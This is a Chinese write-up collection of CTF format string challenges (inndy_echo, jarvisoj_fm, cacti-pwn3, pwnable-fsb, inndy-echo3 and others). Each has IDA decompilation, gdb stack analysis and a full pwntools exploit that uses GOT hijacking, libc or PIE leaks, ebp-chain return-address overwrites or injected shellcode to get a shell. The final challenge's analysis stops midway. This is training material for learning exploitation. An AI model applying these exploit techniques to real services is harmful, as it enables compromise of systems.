格式化字符串漏洞题目练习

前言

整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧。

inndy_echo

保护和arch

[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-10Ch]
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(&s, 256, stdin);
    printf(&s);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

可以看到会无限的打印你输入的东西,并且有system这个函数,利用思路也就是GOT hijack,把printf函数的got改为system的plt,注意要单次printf多次写入,改为system的plt后,再传过去/bin/sh,此时就会变成system(/bin/sh)

gdb调试

gdb-peda$ stack 0x20
0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")
0004| 0xffffd254 --> 0x100
0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b
0012| 0xffffd25c --> 0x0
0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40
0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")
0024| 0xffffd268 --> 0xf63d4e2e
0028| 0xffffd26c ("AAAA\n")
gdb-peda$ fmtarg 0xffffd26c
The index of format argument : 7 ("\%6$p")

确定偏移是7,打算一会写payload时候需要补齐,就.ljust补成0x20的,也就是offset = 7 + 0x20/4 = 15

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010

def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result

prev = 0 
payload = ""
key = 0x08048400
for i in range(2):
    payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i) 
    prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)
raw_input('->')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()

换一种就是用pwntools模块,面对32位,这种情况还是很好用的:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
payload = fmtstr_payload(7,{printf_got : system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
[DEBUG] Sent 0x3c bytes:
    00000000  10 a0 04 08  11 a0 04 08  12 a0 04 08  13 a0 04 08  │····│····│····│····│
    00000010  25 32 34 30  63 25 37 24  68 68 6e 25  31 33 32 63  │%240│c%7$│hhn%│132c│
    00000020  25 38 24 68  68 6e 25 31  32 38 63 25  39 24 68 68  │%8$h│hn%1│28c%│9$hh│
    00000030  6e 25 34 63  25 31 30 24  68 68 6e 0a               │n%4c│%10$│hhn·││
    0000003c

可以看一下其生成的payload,把目标地址信息放在开头,在64位是肯定是不可行的。

jarvisoj_fm

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+2Ch] [ebp-5Ch]
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(&buf, 0, 0x50u);
  read(0, &buf, 0x50u);
  printf(&buf);
  printf("%d!\n", *(_DWORD *)&x);
  if ( *(_DWORD *)&x != 4 )
    return 0;
  puts("running sh...");
  system("/bin/sh");
  return 0;
}

十分简单的题目,检验 x 值是否为4,如果是4(数字),就直接给你shell了。

exp

from pwn import *
context.log_level = 'debug'
# io = process('./fm')
io = remote('node3.buuoj.cn',26915)
# io.recv()
payload = p32(0x0804A02C) + '%11$hn'
raw_input('->')
io.sendline(payload)
io.interactive()

winesap_week6

源码:

#include <stdio.h>

int main() {
    setvbuf(stdout, 0, _IONBF, 0);
    alarm(180);
    char str[100];
    while(gets(str)) {
        printf(str);
    }
    return 0;
}

需要编译为64位,这个题比起来第一个也就是没有了system函数,需要自己泄漏一下libc的base,算出system地址,然后还是GOT hijack就可以了。

EXP

from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./fmt1')
elf = ELF('./fmt1')
libc = elf.libc
printf_got = 0x0000601020
io.sendline('%21$p')
io.recvuntil('0x')
libc_base = int((io.recv(12)),16) - 240 -libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
print('leak_libc_base: ' + hex(libc_base))
print('system_addr: ' + hex(system_addr))
def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
prev = 0 
payload = ""
key = system_addr
for i in range(3):
    payload +=fmt_short(prev,(key >> 16*i) & 0xffff,12+i) 
    prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x30,'a') + p64(printf_got) +p64(printf_got+2) + p64(printf_got+4)
io.sendline(payload)
sleep(1)
io.sendline('/bin/sh\x00')
io.interactive()

HITCON-Training-lab8

源码

#include <stdio.h>

int magic = 0 ;

int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }

}

编译为64位。

分析

(这个题目是纯粹就是为了练习任意地址写入的,我这里就直接写exp拿sheel了。)可以看到当再一次printf,之后程序便停止了,且结束前有puts函数。
思路就是可以GOT hijack put函数的GOT为read函数哪里,让其call puts函数时返回到read函数,并且在这次printf函数漏洞利用时,也把printf函数的GOT改为system的plt,然后传入/bin/sh即可。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./craxme')
# io = remote('127.0.0.1',8888)
magic = 0x0000060106C
io.recvuntil(':')
system_plt = 0x04005A0
puts_got = 0x0601018
ret_addr = 0x00400747
printf_got = 0x00601030
key = 0x00400747
key2 = 0x04005A0
def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
prev = 0 
payload = ""

for i in range(3):
    payload +=fmt_short(prev,(key >> 16*i) & 0xffff,26+i) 
    prev = (key >> i*16) & 0xffff
for i in range(3):
    payload +=fmt_short(prev,(key2 >> 16*i) & 0xffff,29+i) 
    prev = (key2 >> i*16) & 0xffff
payload = payload.ljust(0x80+0x20,'a') + flat([puts_got,puts_got+2,puts_got+4,printf_got,printf_got+2,printf_got+4])

io.sendline(payload)
io.interactive()

cacti-pwn3

保护和arch

[*] '/media/psf/mypwn2/ctf_wiki/fmt/cctf/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

这个题模拟了一个ftp服务。

这里控制的是登陆。进入分析一下:

char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

用户名函数,发现对你输入的东西进行诸位的进行加一。

int __cdecl ask_password(char *s1)
{
  if ( !strcmp(s1, "sysbdmin") )
    return puts("welcome!");
  puts("who you are?");
  exit(1);
  return puts("welcome!");
}

用户密码函数,发现要跟sysbdmin 进行对比,如果不相等,就直接退出。
(strcmp函数对比两个字符串时,相等返回0,!0 = 非假 = 真)
所以这个绕过就时sysbdmin 诸位减1即可。

剩下的就是输入get put dir,会进入不同的分支,其中输入get函数:

int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 40);
      return printf(&dest);
    }
  }
  return printf(&dest);
}

这个函数是有格式化字符串漏洞的,当你put上去一个文件,它会让你输入文件名字和文件内容,然后get这个函数会根据文件名字,来输出其内容,利用这两个函数搭配一下就可以实现格式化字符串漏洞的利用了。并且在dir中,其会输出一个文件的名字,用的是puts函数。然后就有思路利用了:

  • 由于没有system函数,然后就需要想办法泄漏一下libc地址,来算出system的函数在libc的地址。
  • 修改puts函数的got为system的地址,然后记得这个文件的名称是/bin/sh,这样在使用dir调用puts函数时,就可以拿到shell了。
    这题比较有趣,有点难在分析这个程序在干嘛,利用思路倒是不难。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc
s = 'sysbdmin'
key = ''
for i in s:
    key+=chr(ord(i)-1)
print(key)
io.sendline(key)
info('---------leak libc_base--------')
io.recvuntil('>')
io.sendline('put')
io.recvuntil('upload:')
io.sendline('1111')
puts_got = elf.got['puts']
io.sendline('%8$s' + p32(puts_got) )
io.recvuntil('>')
io.sendline('get')
io.recvuntil('get:')
io.sendline('1111')
puts_addr = u32(io.recv(4)[:4])
print('puts_add:' + hex(puts_addr))
sys_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
io.recvuntil('>')
info('---------hijack puts_got--------')
io.sendline('put')
io.recvuntil('upload:')
io.sendline('/bin/sh;')
payload = fmtstr_payload(7,{puts_got: sys_addr})
io.sendline(payload)
io.recvuntil('>')
io.sendline('get')
io.recvuntil('get:')
info('--------- get shell-------')
io.sendline('/bin/sh;')
io.recvuntil('>')
io.sendline('dir')
io.interactive()

三个白帽 - pwnme_k0

保护和arch

[*] '/media/psf/mypwn2/ctf_wiki/fmt/sgbm_pwnme/pwnme_k0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了RELRO,这样就无法修改got了。

ida分析

程序实现了一个注册用户的功能,注册好后可以来展示用户信息,修改用户信息,和退出。其中在展示用户信息当中,存在格式化字符串漏洞:


int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf(&a9 + 4);
}

其中发现其输出的buf就是你输入的密码:

并且还发现其中有个后门函数,会调用system函数给你shell,就可以去修改程序的返回地址,直接返回到这里就拿到shell了。
Gdb调试定位关键在这个printf当中,确定一下:

看一下此时的栈情况,输入的usename可以确定偏移是8,rdi也是指向了存放password的地址。并且发现栈上也有很多栈的地址信息,当第二次运行到这里的时候,这里esp对应的地址信息也是不会变的,所以就可以通过泄漏这里的值来算出ret address,然后修改用户信息,这下把ret address的point放到栈上,接着就开始修改ret address的值了。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./pwnme_k0')
# context.clear(arch = 'amd64')
io.recvuntil('lenth:20): \n')
io.sendline('%0006$lx')
io.recvuntil('lenth:20): \n')
io.sendline('11111111')
io.recvuntil('>')
io.sendline('1')
# io.recvuntil('Welc0me to sangebaimao!\n')
stack = int(io.recvline_contains('7f'),16)
print(stack)
ret_add = stack - 0x38
# system_add = 0x04008AA
payload = '%2218c%8$hn'
io.recvuntil('>')
io.sendline('2')
io.recvuntil('lenth:20): \n')
io.sendline(p64(ret_add))
io.recvuntil('lenth:20): \n')
io.sendline(payload)
io.recvuntil('>')
io.sendline('1')
io.interactive()

inndy-echo2

保护和arch

[*] '/media/psf/mypwn2/buuctf/inndy_echo2/echo2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以看到开启了pie,这时候就需要来泄漏一下pie的基地址。

ida分析

void __noreturn echo()
{
  char s; // [rsp+0h] [rbp-110h]
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  do
  {
    fgets(&s, 256, stdin);
    printf(&s, 256LL);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

代码是比较简单的,还是got hijack 就行了。难点也是如何来处理这个pie保护。

gdb 调试

=> 0x555555554984 <echo+68>:    call   0x5555555547a0 <printf@plt>
   0x555555554989 <echo+73>:    lea    rax,[rbp-0x110]
   0x555555554990 <echo+80>:    lea    rsi,[rip+0xfd]        # 0x555555554a94
   0x555555554997 <echo+87>:    mov    rdi,rax
   0x55555555499a <echo+90>:    call   0x5555555547d0 <strcmp@plt>

找到关键点,然后看一下栈情况:

0192| 0x7fffffffe1c0 --> 0x7ffff7dd2620 --> 0xfbad2087
--More--(25/48)
0200| 0x7fffffffe1c8 --> 0x7ffff7a88947 (<_IO_default_setbuf+23>:    cmp    eax,0xffffffff)
0208| 0x7fffffffe1d0 --> 0x7ffff7dd2620 --> 0xfbad2087
0216| 0x7fffffffe1d8 --> 0x7ffff7fd8700 (0x00007ffff7fd8700)
0224| 0x7fffffffe1e0 --> 0x555555554810 (<_start>:    xor    ebp,ebp)
0232| 0x7fffffffe1e8 --> 0x7ffff7a85439 (<_IO_new_file_setbuf+9>:    test   rax,rax)
0240| 0x7fffffffe1f0 --> 0x7ffff7dd2620 --> 0xfbad2087

发现在0x7fffffffe1e0这里就可以泄漏出pie基址了,确定偏移是34。然后剩下的就简单了,直接ida里面查看下plt和got ,加上以后就得到了真正的
plt和got地址。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./echo2')
# io = remote('node3.buuoj.cn',28200)
def leak1():
    io.sendline('%34$p')
    io.recvuntil('0x')
    p_bass_addr = int((io.recv(9)+'000'),16)
    return p_bass_addr
p_bass_addr = leak1()
print('p_bass_addr ->' + hex(p_bass_addr))
print_got = 0x201020 + p_bass_addr
print('print_got ->' + hex(print_got))
system_plt = 0x790 + p_bass_addr
print('system_plt ->' + hex(system_plt))

def fmt(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
prev = 0 
payload = ""
key = system_plt
for i in range(3):
    payload +=fmt(prev,(key >> 16*i) & 0xffff,14+i) 
    prev = (key >> i*16) & 0xffff
payload = payload.ljust(0x40,'a') + flat([print_got,print_got+2,print_got+4])
# raw_input('->')
io.sendline(payload)
sleep(0.1)
io.sendline('/bin/sh\x00')
io.interactive()

-—

** 接下来的题,都是buf不再栈的上的题目。**

plaidctf2015-ebp

保护和arch

[*] '/media/psf/mypwn2/buuctf/plaidctf2015_ebp/ebp'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看到nx保护是关闭的,可以想办法利用shellcode。

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  while ( 1 )
  {
    result = (int)fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}

漏洞函数:

int make_response()
{
  return snprintf(response, 0x400u, buf);
}

代码十分简单,但是这次的漏洞函数变成了snprintf ,时刻注意偏移的计算是针对格式化字符串的偏移。且buf是在bss段上的,已经变得不是我们当初一样十分的好控制,此时就需要想办法好好利用栈上原来有的数据。

gdb调试

gdb-peda$ stack 0x20
0000| 0xffffd320 --> 0x804a480 --> 0x0
0004| 0xffffd324 --> 0x400
0008| 0xffffd328 --> 0x804a080 ("AAAA\n")
0012| 0xffffd32c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f
0016| 0xffffd330 --> 0xf7fe77eb (<_dl_fixup+11>:    add    esi,0x15815)
0020| 0xffffd334 --> 0x0
0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0
0028| 0xffffd33c --> 0x804852c (<echo+11>:    mov    DWORD PTR [esp],0x804a480)

可以看一下此时的栈情况。可以看到上面有很多可以利用的地址信息,其中最常用的也是ebp链 :

0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0

也就是这一个,第一次可以通过利用0xffffd338(ebp1)这个地址,其指向0xffffd358 (ebp2),然后利用%xc%4$hhn 就可以修改0xffffd378(ebp3)。
将0xffffd378 改为指向ret address的栈地址 0xffffd33c

0024| 0xffffd338 --> 0xffffd358 --> 0xffffd33c --> 0x804852c (<echo+11>:    mov    DWORD PTR [esp],0x804a480)
0028| 0xffffd33c --> 0x804852c (<echo+11>:    mov    DWORD PTR [esp],0x804a480)

改完也就是这样的效果。
这样就又可以通过利用 0xffffd358 (ebp2),其指向 0xffffd33c(ebp3),
接着就算一下0xffffd358 (ebp2)的偏移 y,然后利用%xc%y$hhn 就可以修改0x804852c(ret address)

这样攻击思路也就出来了,可以修改retaddress ,返回在可控的buf 上面放好shellcode ,控制程序跳到shellcode即可。

exp

from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./ebp')
# io = remote('node3.buuoj.cn',29994)
buf = 0x0804a080 + 0x40 #0x804a0c0
raw_input('->')
io.sendline('%4$p')
ret_stack_addr = int(io.recv(10),16) - 28
print('leak ret_stack_addr:'+hex(ret_stack_addr))
key1 = int(str(hex(ret_stack_addr))[-2:],16)
key2 = 0xa0c0
payload = '%{}c%4$hhn'.format(key1)
raw_input('->')
io.sendline(payload)
io.recv()
payload = '%{}c%12$hn'.format(key2)
payload = payload.ljust(0x40) 
payload +=  asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

hitcontraining-playfmt

保护和arch

[*] '/media/psf/mypwn2/buuctf/hitcontraining_playfmt/playfmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

没有任何保护。

ida分析

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

上层有play 和 main函数,一共三层,在第三层的这个函数存在格式化字符串漏洞,让我们很方便的用ebp链来做题。然后,有无限次的触发这个漏洞的机会。

攻击思路 :因为没有开nx保护,也就以为着可以用shellcode进行攻击。然后还是改返回地址,提前在可控的buf合适的地方摆上shellcode,然后跳上去即可。

gdb分析

如图所示,利用这个链即可。先想办法把Oxffffd358 改成 Oxffffd33c :

然后在想办法把0x8048507 这个返回地址改成我们摆放的shellcode的地址即可。

exp

from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./playfmt')
# io = remote('node3.buuoj.cn',26382)
buf = 0x0804A060 + 0x40 #0x804a0a0
offset1 = 6
offset2 = 10
info('---leak stack address---')
io.recvuntil('\n=====================\n')
io.sendline('%10$p')
ret_stack_addr = int(io.recv(10),16) - 28
print('leak ret_stack_addr:'+hex(ret_stack_addr))
info('---change the retaddr---')
key = int(str(hex(ret_stack_addr))[-2:],16)
payload = "%{}c%6$hhn".format(key)
raw_input('->')
io.sendline(payload)
sleep(0.1)
io.recv()
key2 = 0xa0a0
payload = "%{}c%10$hn".format(key2)
payload = payload.ljust(0x40)
payload += asm(shellcraft.sh())
raw_input('->')
io.sendline(payload)
io.recv()
sleep(0.1)
io.sendline('quit')
io.interactive()

记得发出去一次payload,一定需要接受一次,再去发第二个payload,防止没有完成一个printf,就让程序接受发送的东西,这样容易崩溃。

pwnable-fsb

arch和保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开了nx了。

ida分析

 for ( k = 0; k <= 3; ++k )
  {
    printf("Give me some format strings(%d)\n", k + 1);
    read(0, buf, 0x64u);
    printf(buf);
  }
  puts("Wait a sec...");
  sleep(3u);

可以看到这里控制了可以利用printf函数漏洞的次数,只可以利用4次。

  execve(path, &path, 0);

且这一条可以给你拿到shell。

那攻击思路就可以是改掉puts,sleep的got表,到这个拿取shell的位置就行。
因为这里下面就调用一次sleep,就改它好了,基本不会出问题。


注意一下这里的汇编代码,其也是让栈的esp处于不定的状态。

gdb分析

此时的EBP = 0xffffd228

0000| 0xffffd1e0 --> 0x804a100 ("AAAA\n")
0004| 0xffffd1e4 --> 0x804a100 ("AAAA\n")
0008| 0xffffd1e8 --> 0x64 ('d')
0012| 0xffffd1ec --> 0xf7f5b2a2 ("__vdso_clock_gettime")
0016| 0xffffd1f0 --> 0xf7fe1fc9 (<do_lookup_x+9>:    add    ebx,0x1b037)
0020| 0xffffd1f4 --> 0x0
0024| 0xffffd1f8 --> 0xf7ffdad0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0
0028| 0xffffd1fc --> 0xffffd278 --> 0xf7e0b018 --> 0x3eab
0032| 0xffffd200 --> 0xffffd2c0 --> 0x804a024 --> 0xf7ed6290 (<close>:    cmp    DWORD PTR gs:0xc,0x0)
0036| 0xffffd204 --> 0x8048870 ("/bin/sh")
0040| 0xffffd208 --> 0x0
0044| 0xffffd20c --> 0x0
0048| 0xffffd210 --> 0xffffd4a4 --> 0x0
0052| 0xffffd214 --> 0xffffdfce --> 0x656d2f00 ('')
0056| 0xffffd218 --> 0xffffd230 --> 0x0
0060| 0xffffd21c --> 0xffffd234 --> 0x0
0064| 0xffffd220 --> 0x0
0068| 0xffffd224 --> 0x1
0072| 0xffffd228 --> 0xffffd378 --> 0x0

可以看到,因为这个题是main -> fsb ,用户代码只有2层函数的调用,看这个ebp chain的时候就有点不方便了,我们没有一个完整的chain来使用。这个时候,就只能把ebp3 的值,自己写上去,写上sleep的got然后再改成拿shell的地址就行了。

整个过程还是需要泄漏一下栈地址esp,因为其栈是变化的。泄露以后,也获取一下ebp2的值,然后(ebp2- esp )/4 也就确定到了,main的ebp值(ebp3)对应格式化字符串的偏移值。然后再次利用printf函数根据这个偏移来进行改写sleep got上的值。

exp

from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./fsb')
# s = ssh(
#     host="pwnable.kr",
#     port=2222,
#     user="fsb",
#     password="guest"
# )
# io = s.run("/home/fsb/fsb")
# io = shell.run("/home/fsb/fsb")
sleep_got = 0x0804a008
info('--------leak stack base:-------')
io.recvuntil('strings(1)\n')
io.sendline('%14$p')
io.recvuntil('0x')
stack_base = int(io.recv(8),16) - 80
print(hex(stack_base))
info('--------leak the point to main ebp:-------')
io.recvuntil('strings(2)\n')
io.sendline('%18$p')
io.recvuntil('0x')
point = int(io.recv(8),16)
print(hex(point))
info('--------write sleep_got to main_ebp :-------')
io.recvuntil('strings(3)\n')
key1 = 0x0804A008
payload = '%' + str(key1) + 'c%18$n'
io.sendline(payload)
info('--------write tag to sleep_got :-------')
tag = 0x869F
offset = (point - stack_base) / 4
payload = "%{}c%'str(offset)'$hn ".format(tag)
io.recvuntil('strings(4)\n')
io.sendline(payload)
io.interactive()

inndy-echo3

保护和arch

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析



这一处会让栈的情况变得无法预测。然后进入hardfmt:

  for ( i = 0; i <= 4; ++i )
  {
    read(0, buff, 0x1000u);
    printf(buff);
  }

这一处存在漏洞,且往下看感觉没什么好利用的,没什么漏洞函数。那攻击思路就是:改printf的got表,然后在第5次传过去/bin/sh即可。
(这个题目思路还是很简单的,但是因为这个次数的限制,在实际操作过程中,要充分的利用每一次格式化字符串漏洞。)

gdb分析

因为栈情况不一样,可以选择最适合我们利用漏洞的栈空间,这样做起来会简单一些。

我自己选择在偏移在43的时候开始进行分析,想办法来利用这个漏洞:

仔细看下此时的栈情况 ,然后再次分析下我们的目标 :

  • 泄漏libc基址,计算出system的内存地址。
  • 在栈上构造出printf的got地址和printf的got地址+2的地址(0x0804a014和0x0804a016)
  • 在构造的got地址上,开始写system地址

由于这个漏洞可以的用的次数最多是4次,所以要尽可能利用每一次。
如上图所示,很简单就可以泄漏出libc基址。
但是接下来怎么构造printf的got地址和printf的got地址+2的地址就有点难了。

此时注意图上前两个框框,可以发现把第二个框框的两个地址修改为 第一个框框的栈指针:

gdb-peda$ set *0xffbe5e6c = 0xffbe5d54
gdb-peda$ set *0xffbe5e64 = 0xffbe5d60


这个过程在泄漏目标栈地址以后,也是可以通过一次printf函数写入2次地址,实现这个栈情况的。

接着就可以构造got地址:

gdb-peda$ set *0xffbe5d60  = 0x0804a016
gdb-peda$ set *0xffbe5d54  = 0x0804a014

然后就可以写system的内存地址上got了:

0120| 0xffbe5d88 --> 0xffbe5e6c --> 0xffbe5d54 --> 0x804a014 --> 0xf7e0cda0 (<__libc_system>:    sub    esp,0xc)

这样再传过去一下/bin/sh即可。

exp

from pwn import *
context.log_level = 'debug'
context.arch ='i386'
import time
elf = ELF('./echo3')
debug = 1
while True:
    if debug :
        io = process('./echo3')
        libc = elf.libc
    else:
        io = remote('node3.buuoj.cn',25057)
        libc = ELF('./libc-2.23.so.i386')
    payload = '%43$pA%30$pA%47$p'
    io.sendline(payload)
    address = io.recvline().strip()
    if address[-3:] == '637':
        if address[7:10] == '637':
            libc_base = int(address[2:10],16) - 247 - libc.symbols['__libc_start_main']
            tag1_stack_point = int(address[13:21],16) - 0x118
            tag2_stack_point = int(address[13:21],16) - 0x104 - 0x8
            system_addr = libc_base + libc.symbols['system']
            print('system_addr  ->' + hex(system_addr))
            print('tag1_stack_point ->' + hex(tag1_stack_point))
            print('tag2_stack_point ->' + hex(tag2_stack_point))
            break
    else :
        io.close()
        continue
# io = 
def fmtshort(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
def fmtbyte(prev,val,idx,byte = 1):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hhn"
    return result
printf_got = 0x0804a014
key1 = int(hex(tag1_stack_point)[-4:],16)
key2 = int(hex(tag2_stack_point)[-4:],16)
info('--------change the two points to tag_stack_point:-------')
# raw_input('->')
prev = 0
payload = ""
for i in range(1):
    payload +=fmtshort(prev,(key1 >> 16*i) & 0xffff,30+i) 
    prev = (key1 >> i*16) & 0xffff
for i in range(1):
    payload +=fmtshort(prev,(key2 >> 16*i) & 0xffff,31+i) 
    prev = (key2 >> i*16) & 0xffff
payload = payload + '1111'
raw_input('->')
io.sendline(payload)
io.recvuntil('1111')
info('--------change got_table to printf_got:-------')
raw_input('->')
prev = 0 
payload = ""
key3 = 0x14
key4 = 0x16
for i in range(1):
    payload +=fmtbyte(prev,(key3 >> 8*i) & 0xff,87+i) 
    prev = (key3 >> i*8) & 0xff
for i in range(1):
    payload +=fmtbyte(prev,(key4 >> 8*i) & 0xff,85+i) 
    prev = (key4 >> i*8) & 0xff
payload = payload + '2222'
io.sendline(payload)
io.recvuntil('2222')
info('--------change printf_got to system_addr:-------')
raw_input('->')
prev = 0 
payload = ""
key5 = int(hex(system_addr)[-4:],16)
key6 = int(hex(system_addr)[2:6],16)
print('key5 -> ' + hex(key5))
print('key6 -> ' + hex(key6))
for i in range(1):
    payload +=fmtshort(prev,(key5 >> 16*i) & 0xffff,17+i) 
    prev = (key5 >> i*16) & 0xffff
for i in range(1):
    payload +=fmtshort(prev,(key6 >> 16*i) & 0xffff,20+i) 
    prev = (key6 >> i*16) & 0xffff
payload = payload + '3333'
io.sendline(payload)
sleep(1)
io.recvuntil('3333')
raw_input('>>>>>>>>>>')
io.sendline('/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
io.interactive()

这个exp的难点在于:

  • 注意去定位到合适的栈结构再去利用
  • 尽量充分利用每一次的printf
  • 单次printf多次写入
  • 注意每次传数据过去后,一定要接收一下,并且再一次的数据读入要防止bss上的缓冲区里面参杂数据的影响。

    结论和收获

这个题教会我一定要灵活、充分的利用栈上的数据,单纯的ebp链只是适合简单的情况。还有就是面对这种会有随机栈情况的题目,尽量要注意本地和远程的ibc版本、注意环境,这些不一样导致栈的情况也是不一样的,导致exp也要有相应的变化。

xman-2019-format

保护和arch

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ida分析

char *__cdecl sub_80485C4(char *s)
{
  char *v1; // eax
  char *result; // eax

  puts("...");
  v1 = strtok(s, "|");
  printf(v1);
  while ( 1 )
  {
    result = strtok(0, "|");
    if ( !result )
      break;
    printf(result);
  }
  return result;
}

这里因为用strtok做处理,只有一次的传送机会,payload需要用| 分割格式化字符串来完成每次的printf的漏洞利用,稍微麻烦了一下。
并且存在后门函数:

.text:080485AB                 push    ebp
.text:080485AC                 mov     ebp, esp
.text:080485AE                 sub     esp, 8
